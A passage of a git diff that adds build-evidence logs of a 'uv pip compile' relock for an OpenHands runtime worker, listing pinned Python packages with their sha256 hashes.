--hash=sha256:22b029f2881599e2f1b06f8f1db2ee63bd309e2293ba2d566e008ba12778b8da \ + --hash=sha256:243dda95d901c733f5b59214d28b0120893d91777cb8aa043e6ef059d3cddfe2 \ + --hash=sha256:2ca6fd72a8cd803be290d42f2dec5cdcd5299eeb93c2d929bf060ad9efaf5de0 \ + --hash=sha256:2e4e1f6f0b4da23e61188676e3ed027ef0baa833a2e633c29ff8530800edccba \ + --hash=sha256:31f0b53913220599446872d757257be5898019c85e7971599065bc55065dc99d \ + --hash=sha256:334b8721303e61b00019474cc103bdac3d7b1f65e91f0bfedeec2d56dfe74b53 \ + --hash=sha256:33e32a0dd0c8205efa8e83d04fc9f19313772b78522d1bdc7d9aed706bfd6138 \ + --hash=sha256:34b36c2c57124530884d89d50ed2c1478697ad7473efd59cfd479945c95650e4 \ + --hash=sha256:3aa27acb6de7a23785d81557577491f6c38a5209a254d1191519d07d8fe51748 \ + --hash=sha256:3b06bcadaac49c70f4c88af4ffcfbe3dc155aab3163e75777818092478bcbbe7 \ + --hash=sha256:3b7c88eeef021579d600e50363e0b6ee4f7f6f728cd3486b9d0f3ee7b946398d \ + --hash=sha256:3e2daa88dc91870215961e96a039ec73e4937da13cf77ce17f9cad0c18df3503 \ + --hash=sha256:3ea66b1c11c9150f1372f69afb6b8116f2dd7286f38e14ea71a44eee9ec51b9d \ + --hash=sha256:42188e6a615c1a75bcaa6e150c3fe8f3e8680471a6b10150c5f7e83f47cc34d2 \ + --hash=sha256:433885ab5431bc3d3d4f2f9bd15bfa1614c522b0f1405d62c4f926ccd69d04fa \ + --hash=sha256:437840083abe022c978470b942ff832c3940b2ad3734d424b7eaffcd07f76737 \ + --hash=sha256:4398557cbf484207df000309235979c79c4356518fd5c99158c7d38203c4da4f \ + --hash=sha256:45c2842ff0e0d1b35a6bf1cd6c690939dacb617a70827f715232b2e0494d55d1 \ + --hash=sha256:47743b82b76d89a1d20b83e60d5c20314cbd5ba2befc9cda8f28300c4a08ed4d \ + --hash=sha256:4792b262d585ff0dff6bcb787f8492e40698443ec982a3568c2096433660c694 \ + --hash=sha256:47d8a5c446df1c4db9d21b49619ffdba90e77c89ec6e283f453856c74b50b9e3 \ + --hash=sha256:47fdb18187e2a4e18fda2c25c05d8251a9e4a521edaed757fef033e7d8498d9a \ + --hash=sha256:4c52a6e78aef5cf47a98ef8e934755abf53953379b7d53e68b15ff4420e6683d \ + --hash=sha256:4dcc74149ccc8bba31ce1944acee24813e93cfdee2acda3c172df844948ddf7b \ + --hash=sha256:50678a3b71c751d58d7908edc96d332af328839eea883bb554a43f539101277a \ + --hash=sha256:51af598701f5299012b8416486b40fceef8c26fc87dc6d7d1f6fc30609ea0aa6 \ + --hash=sha256:594fcab1032e2d2cc3321bb2e51271e7cd2b516c7d9aee780ece81b07ff8244b \ + --hash=sha256:595697f68bd1f0c1c159fcb97b661fc9c3f5db46498043555d04805430e79bea \ + --hash=sha256:59c189e3e99a59cf8d83cbb31d4db02d66cda5a1a4374e8a012b51255341abf5 \ + --hash=sha256:5a3bf7f62a289fa90f1990422dc8dff5a458469ea71d1624585ec3a4c8d6960f \ + --hash=sha256:5c401e05ad47a75869c3ab3e35137f8468b846770587e70d71e11de797d113df \ + --hash=sha256:5cdac20da754f3a723cceea5b3448e1a2074866406adeb4ef35b469d089adb8f \ + --hash=sha256:5d0fcda9608875f7d052eff120c7a5da474a6796fe4d83e152e0e4d42f6d1a9b \ + --hash=sha256:5dbeefd6ca588b33576a01b0ad58aa934bc1b41ef89dee505bf2932b22ddffba \ + --hash=sha256:62441e55958977b8167b2709c164c91a6363e25da322d87ae6dd9c6019ceecf9 \ + --hash=sha256:663e1cadaddae26be034a6ab6072449a8426ddb03d500f43daf952b74553bba0 \ + --hash=sha256:669930400e375570189492dc8d8341301578e8493aec04aebc20d4717f899dd6 \ + --hash=sha256:68986a61557d37bb90d3051a45b91fa3d5c516d177dfc6dd6f2f436a07ff2b6b \ + --hash=sha256:6944b2dc72c4d7f7052683487e3677456050ff77fcf5e6204e98caf785ad1967 \ + --hash=sha256:6a635ea45ba4ea8238463b4f7d0e721bad669f80878b7bfd1f89266e2ae63da2 \ + --hash=sha256:6c5010a52015e7c70f86eb967db0f37f3c8bd503a695a49f8d45700144667708 \ + --hash=sha256:6dcbb0829c671f305be48a7227918cfcd11276c2d637a8033a99a02b67bf9eda \ + --hash=sha256:70dfd4f241c04bd9239d53b17f11e6ab672b9f1420364af63e8531198e3f5fe8 \ + --hash=sha256:719ae08b6972befcba4310e49edb1161a88cdd331e3a694b84466bd938a6ab10 \ + --hash=sha256:75976c6945d85dbb9ee6308cd7ff7b1fb9409380c82d6119bd778d8fcfe2931c \ + --hash=sha256:7861058d0582b847bc4e3a4a4c46828a410bca738673f35a29ba3ca5db0b473b \ + --hash=sha256:792a2af6d58177ef7c19cbf0097aba92ca1b9cb3ffdd9c7470e156c8f9b5e028 \ + --hash=sha256:8009b3173bcd637be650922ac455946197d858b3630b6d8787aa9e5c4564533e \ + --hash=sha256:80ddf7a5f8c86cb3eb4bc9028b07bbbf1f08a96c5c0bc1244be5e8fefcb94147 \ + --hash=sha256:8218f4e98d3c10d683584cb40f0424f4b9fd6e95610232dd75e13743b070ee33 \ + --hash=sha256:84fc3ec96fce86ce5aa305eb4aa9358279d1aa644b71fab7b8ed33fe3ba1a7ca \ + --hash=sha256:852863707010316c973162e703bddabec35e8757e67fcb8ad58829de1ebc8590 \ + --hash=sha256:8884d8b332a5e9b88e23f60bb166890009429391864c685e17bd73a9eda9105c \ + --hash=sha256:8dee9c25c74997f6a750cd317b8ca63545169c098faee42c84aa5e506c819b53 \ + --hash=sha256:939fe60db294c786f6b7c2d2e121576628468f65453d86b0fe36cb52f987bd74 \ + --hash=sha256:99b6fc1d55782461b78221e95fc357b47ad98b041e8e20f47c1411d0aacddc60 \ + --hash=sha256:9d7672ecf7557476642c88497c2f8d8542f8e36596e928e9bcba0e42e1e7d71f \ + --hash=sha256:9f6d73c1436b934e3f01df1e1b21ff765cd1d28c77dfb9ace207f746d4610ee1 \ + --hash=sha256:9fb17ea16e972c63d25d4a97f016d235c78dd2344820eb35bc034bc32012ee27 \ + --hash=sha256:a49370e8f711daec68d09b821a34e1167792ee2d24d405cbc2387be4f158b520 \ + --hash=sha256:a4fcfc8eb2c34148c118dfa02e6427ca278bfd0f3df7c5f99e33d2c0e81eae3e \ + --hash=sha256:a899cbd98dce6f5d8de1aad31cb712ec0a530abc0a86bd6edaa47c1090138467 \ + --hash=sha256:a9b1ba5610a4e20f655258d5a1fdc7ebe3d837bb0e45b581398b99eb98b1f5ca \ + --hash=sha256:af74f05666a5e531289cb1cc9c883d1de2088b8e5b4de48004e5ca8a830ac859 \ + --hash=sha256:b0748275abb8c1e1e09301ee3cf90c8a99678a4e92e4373705f2a2570d581273 \ + --hash=sha256:b266bd01fedeffeeac01a79ae181719ff848a5a13ce10075adbefc8f1daee70e \ + --hash=sha256:b4f15793aa49793ec8d1c708ab7f9eded1aa72edc5174cae703651555ed1b601 \ + --hash=sha256:b580e71cac3f8113d3135888770903eaf2f507e9421e5697d6ee6d8cd1c7f054 \ + --hash=sha256:b6a6f620cfe13ccec221fa312139135166e47ae169f8253f72a0abc0dae94376 \ + --hash=sha256:b790b39c7e9a4192dc2e201a282109ed2985a1ddbd5ac08dc56d0e121400a8f7 \ + --hash=sha256:b85b982afde6df99ecc996990d4ad7ccbdbb70e2a4ba4de0aecde5922ba98a0b \ + --hash=sha256:b8a0588521a26bf92a57a1705b77b8b59044cdceccac7151bd8d229e66b8dedb \ + --hash=sha256:ba440ae430c00eee41509353628600212112cd5018d5def7e9b05ea7ac34eb65 \ + --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ + --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ + --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:bf4a21e58b9cde0e401e683ebd00f6ed30a06d14e93f7c8fd059f8b6e8f87b6a \ + --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:c4647674b6150d2cae088fc07de2738a84b8bcedebef29802cf0b0a82ab6face \ + --hash=sha256:c7044802eec4524fde550afc28edda0dd5784c4c45f0be151a2d3ba017daca7d \ + --hash=sha256:c7bd6683587567e5a49ee6e336e0612bec8329be1b7d4c8af5687dcdeb67ee1e \ + --hash=sha256:ca1f59c4e1ab6e72f0a23c13fca5430f889634166be85dbf1013683e49e3278e \ + --hash=sha256:cb95a9b1adaa48e41815a55ae740cfda005758104049a640a398120bf02515ca \ + --hash=sha256:cfebc0ac8333520d2d0423cbbe43ae43c8838862ddb898f5ca68565e395516e9 \ + --hash=sha256:d332fc2e3c94dad927f2112395772a4e4fedbcf8f80efc21ed7cdfae4d574fdb \ + --hash=sha256:d3e32536234a95f513bd374e93d717cf6b2231a791758de6c509e3653f234c95 \ + --hash=sha256:d5372ca1df0f91a86b047d1277c2aaf1edb32d78bbcefffc81b40ffd18f027ed \ + --hash=sha256:d77e1b2c6d04711478cb1c4ab90db07f1609ccf06a287d5607fcd90dc9863acf \ + --hash=sha256:d947071e6ebcf2e2bee8fce76e10faca8f7a14808ca36a910263acaacef08eca \ + --hash=sha256:dd7afd3f8b0bfb4e0d9fc3c31bfe8a4ec7debe124cfd90619305def3c8ca8cd2 \ + --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1651bf8e0398574646744c1885a41198eba53dc8a9312b954073f845c90a8df \ + --hash=sha256:e1b329cb8146d7b736677a2440e422eadd775d1806a81db2d4cded80a48efc1a \ + --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ + --hash=sha256:e340382d1afa5d32b892b3ff062436d592ec3d692aeea3bef3a5cfe11bbf8c6f \ + --hash=sha256:e4b582bab49ac33c8deb97e058cd67c2c50dac0dd134874106d9c774fd272529 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 \ + --hash=sha256:e5542339dcf2747135c5c85f68680353d5cb9ffd741c0f2e8d832d054d41f35a \ + --hash=sha256:e6438cc8f23a9c1478633d216b16104a586b9761db62bfacb6425bac0a36679e \ + --hash=sha256:e81fda2fb4a07eda1a2252b216aa0df23ebcd4d584894e9612e80999a78fd95b \ + --hash=sha256:ea70f61a47f3cc93bdf8b2f368ed359ef02a01ca6393916bc8ff877427181e74 \ + --hash=sha256:ebd4549b108d732dba1d4ace67614b9545b21ece30937a63a65dd34efa19732d \ + --hash=sha256:efb07073be061c8f79d03d04139a80ba33cbd390ca8f0297aae9cce6411e4c6b \ + --hash=sha256:f0d97c18dfd9a9af4490631905a3f131a8e4c9e80a39353919e2cfed8f00aedc \ + --hash=sha256:f1e09112a2c31ffe8d80be1b0988fa6a18c5d5cad92a9ffbb1c04c91bfe52ad2 \ + --hash=sha256:f3d7a87a78d46a2e3d5b72587ac14b4c16952dd0887dbb051451eceac774411e \ + --hash=sha256:f4afb5c34f2c6fecdcc182dfcfc6af6cccf1aa923eed4d6a12e9d96904e1a0d8 \ + --hash=sha256:f6d2cb59377d99718913ad9a151030d6f83ef420a2b8f521d94609ecc106ee82 \ + --hash=sha256:f87ac53513d22240c7d59203f25cc3beac1e574c6cd681bbfd321987b69f95fd \ + --hash=sha256:ff86011bd159a9d2dfc89c34cfd8aff12875980e3bd6a39ff097887520e60249 +zipp==3.23.0 \ + --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ + --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 + +stderr: +Resolved 176 packages in 26ms diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt new file mode 100644 index 000000000..7da26918e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt @@ -0,0 +1,3064 @@ +argv: ["rtk", "proxy", "uv", "pip", "compile", "/requirements.in", "--constraints", "/control-constraints.txt", "--generate-hashes", "--no-header", "--no-annotate", "--index-url", "https://pypi.org/simple", "--python-version", "3.13.15", "--python-platform", "x86_64-unknown-linux-gnu", "--exclude-newer", "7 days", "--exclude-newer-package", "litellm=2026-07-20T00:00:00Z", "--exclude-newer-package", "lmnr=2026-08-23T00:00:00Z", "--output-file", "/control.lock"] +cwd: /source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5 +started_utc: 2026-09-30T15:47:52.720988+00:00 +ended_utc: 2026-09-30T15:47:52.997871+00:00 +exit_code: 0 + +stdout: +agent-client-protocol==0.12.1 \ + --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ + --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef +aiofile==3.9.0 \ + --hash=sha256:ce2f6c1571538cbdfa0143b04e16b208ecb0e9cb4148e528af8a640ed51cc8aa \ + --hash=sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b +aiofiles==25.1.0 \ + --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ + --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 +aiohappyeyeballs==2.6.1 \ + --hash=sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558 \ + --hash=sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8 +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 \ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + --hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + --hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + --hash=sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b \ + --hash=sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c \ + --hash=sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963 \ + --hash=sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae \ + --hash=sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25 \ + --hash=sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c \ + --hash=sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f \ + --hash=sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807 \ + --hash=sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a \ + --hash=sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f \ + --hash=sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d \ + --hash=sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82 \ + --hash=sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15 \ + --hash=sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0 \ + --hash=sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d \ + --hash=sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9 \ + --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239 \ + --hash=sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0 \ + --hash=sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c \ + --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ + --hash=sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b \ + --hash=sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4 \ + --hash=sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2 \ + --hash=sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 \ + --hash=sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883 \ + --hash=sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d \ + --hash=sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d \ + --hash=sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6 \ + --hash=sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3 \ + --hash=sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924 \ + --hash=sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde \ + --hash=sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787 \ + --hash=sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb \ + --hash=sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b \ + --hash=sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0 \ + --hash=sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910 \ + --hash=sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9 \ + --hash=sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627 \ + --hash=sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48 \ + --hash=sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b \ + --hash=sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce \ + --hash=sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a \ + --hash=sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0 \ + --hash=sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24 \ + --hash=sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5 +aiosignal==1.4.0 \ + --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ + --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 +annotated-types==0.7.0 \ + --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \ + --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89 +anthropic==0.75.0 \ + --hash=sha256:e8607422f4ab616db2ea5baacc215dd5f028da99ce2f022e33c7c535b29f3dfb \ + --hash=sha256:ea8317271b6c15d80225a9f3c670152746e88805a7a61e14d4a374577164965b +anyio==4.14.2 \ + --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 \ + --hash=sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f +attrs==25.3.0 \ + --hash=sha256:427318ce031701fea540783410126f03899a97ffc6f61596ad581ac2e40e3bc3 \ + --hash=sha256:75d7cefc7fb576747b2c81b4442d4d4a1ce0900973527c011d1030fd3bf4af1b +authlib==1.6.12 \ + --hash=sha256:0656d8482f28fc8221929d5f35b2bde5d13e10555ebc06b4561b0d622e83b1bd \ + --hash=sha256:e9229ad7fde610b139dd12f5edbe97eab9ee78bfb85691247e767727850b99ab +backoff==2.2.1 \ + --hash=sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba \ + --hash=sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8 +beartype==0.22.9 \ + --hash=sha256:8f82b54aa723a2848a56008d18875f91c1db02c32ef6a62319a002e3e25a975f \ + --hash=sha256:d16c9bbc61ea14637596c5f6fbff2ee99cbe3573e46a716401734ef50c3060c2 +beautifulsoup4==4.14.2 \ + --hash=sha256:2a98ab9f944a11acee9cc848508ec28d9228abfd522ef0fad6a02a72e0ded69e \ + --hash=sha256:5ef6fa3a8cbece8488d66985560f97ed091e22bbc4e9c2338508a9d5de6d4515 +binaryornot==0.4.4 \ + --hash=sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061 \ + --hash=sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4 +blake3==1.0.9 \ + --hash=sha256:01e136de1078a9011c82beb4a1cb400644794068c0e80877415328bb46d93b47 \ + --hash=sha256:021309d760b390706fecf13498f9a25aa8f689bbb65a0896029b8fa223aae18b \ + --hash=sha256:09a69fcedf06785bb81d4d3d39f95ee65dbaf2cb246e174cfc9ff64d027f7551 \ + --hash=sha256:09deb024cd75cb200e7f647cd038800e6edc8f190c8188e0c69ec1c2b920e125 \ + --hash=sha256:0aba416bb2e3ef0c65e74d5eba21062483c714cd78e7e303c9d03c547fc7d015 \ + --hash=sha256:0cdfeff65488089ef86f7587c76055ff72b28d28d10e427b547f5711477c376d \ + --hash=sha256:128a62136c9a39c7cb9fdaa5fb38471f2418853da7f5a89f31495735d0ba6f2c \ + 